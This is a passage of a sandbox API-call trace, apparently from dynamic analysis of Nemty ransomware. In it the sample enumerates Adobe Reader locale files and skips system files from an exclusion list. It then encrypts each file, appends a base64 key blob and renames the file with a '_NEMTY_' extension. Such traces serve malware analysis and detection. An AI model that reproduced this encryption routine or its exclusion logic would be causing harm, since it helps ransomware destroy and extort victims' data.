dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DAN", lpUsedDefaultChar=0x0) returned 8 [0174.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DAN", lpUsedDefaultChar=0x0) returned 8 [0174.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DAN", lpUsedDefaultChar=0x0) returned 8 [0174.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.668] Sleep (dwMilliseconds=0x5) [0174.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bc24890, dwHighDateTime=0x1d561e8)) [0174.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bc24890, dwHighDateTime=0x1d561e8)) [0174.671] GetLastError () returned 0x0 [0174.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.671] GetLastError () returned 0x0 [0174.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.671] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.671] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.671] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.671] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="uun0/nO5Ulao17GOPSiWmLClm04cq5DTZ48tqiG2/m+gvVlyWSeUleR9KTa64JkX\r\n0oTZJF5mZWx5ywqrjnojv60zivYgqrGtqYa5m8I6/PLgpfOLzksVkPxZZOG85pwx\r\nP2z6yT5dgkvaVBskVi1ujuW4Yit6inHLkEg9cRDRMeBMU95EhBvfS6z30u7gdyjq\r\nuS4xL4veCZB9ldDBdlyRLBYhKZaYgmhl/I0gZy+t6ctpihP+z1m7wz1ujaSvFcUF\r\n13j0npPf5FxeeZKFajfw4GMFQFadVX2iAl/9gp7AG/yHctEuKbjBlOKAlO8TQorE\r\n2D2LyQOdVDQgDrnZ3LfsAA==\r\n", pcchString=0x653e5dc) returned 1 [0174.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.672] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\IA32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ia32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.672] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0174.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0174.672] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.672] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0174.674] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.674] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0174.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.674] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0174.674] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.674] CloseHandle (hObject=0x2e8) returned 1 [0174.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0174.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.674] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\IA32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ia32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\IA32.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ia32.dan._nemty_kgobjgd_")) returned 1 [0174.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0174.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.675] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.DAN", cAlternateFileName="MAKEAC~1.DAN")) returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2=".") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="..") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="...") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="windows") returned -1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="rsa") returned -1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="NTDETECT.COM") returned -1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="ntldr") returned -1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="MSDOS.SYS") returned -1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="IO.SYS") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="boot.ini") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="boot.ini") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="ntuser.dat") returned -1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="desktop.ini") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="CONFIG.SYS") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="RECYCLER") returned -1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="bootmgr") returned 1 [0174.675] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="programdata") returned -1 [0174.676] lstrcmpiW (lpString1="makeaccessible.DAN", lpString2="appdata") returned 1 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DAN", lpUsedDefaultChar=0x0) returned 18 [0174.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0174.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DAN", lpUsedDefaultChar=0x0) returned 18 [0174.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0174.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DAN", lpUsedDefaultChar=0x0) returned 18 [0174.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DAN", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DAN", lpUsedDefaultChar=0x0) returned 18 [0174.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.676] Sleep (dwMilliseconds=0x5) [0174.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bc4a9f0, dwHighDateTime=0x1d561e8)) [0174.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bc4a9f0, dwHighDateTime=0x1d561e8)) [0174.689] GetLastError () returned 0x0 [0174.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.689] GetLastError () returned 0x0 [0174.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0174.689] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.689] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.689] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.689] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Y1Uq4/Ou3o1IJfOc3mfp7DImwDJJbev2hTTLsDaozM5Mygogpx9QhLRGJ7Y8UJpI\r\nHKiKgJLGZuSO6ix1KHwPbuT7lLCLGA/Jl5Xxy8lz4VnJBMd+uBiXbM1lA1fKWauG\r\nJPE0RTj5pHx8g4ctf+ipfBeeQARtqOUYYJR/sSGaQGk1xP3PfmKc6DJExEs/4mxJ\r\nvcEF2RTXw4dHTD7cit02VO49f6sWIajhF2Xagt+oibyhHft5BmzR2rbnXL8MYn7E\r\nSBbUXqSsGXmuJS73y9ZFhTWiVvaJsgj7AuWfuUbZR1uqktJt8PuFVDOiQScnphC9\r\n3/hSKGDO4bIOF9ptcnIWjg==\r\n", pcchString=0x653e5dc) returned 1 [0174.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0174.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\makeaccessible.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\makeaccessible.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.690] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=75776) returned 1 [0174.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12800) returned 0x6352c48 [0174.690] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.690] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12800, lpOverlapped=0x0) returned 1 [0174.697] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.697] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12800, lpOverlapped=0x0) returned 1 [0174.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.697] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=75776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12800 [0174.697] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.697] CloseHandle (hObject=0x2e8) returned 1 [0174.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0174.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0174.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0174.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0174.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0174.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0174.697] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\makeaccessible.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\makeaccessible.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\makeaccessible.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\makeaccessible.dan._nemty_kgobjgd_")) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.698] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.DAN", cAlternateFileName="MULTIM~1.DAN")) returned 1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2=".") returned 1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="..") returned 1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="...") returned 1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="windows") returned -1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="rsa") returned -1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="NTDETECT.COM") returned -1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="ntldr") returned -1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="MSDOS.SYS") returned 1 [0174.698] lstrcmpiW (lpString1="Multimedia.DAN", lpString2="IO.SYS") returned 1 [0174.698] 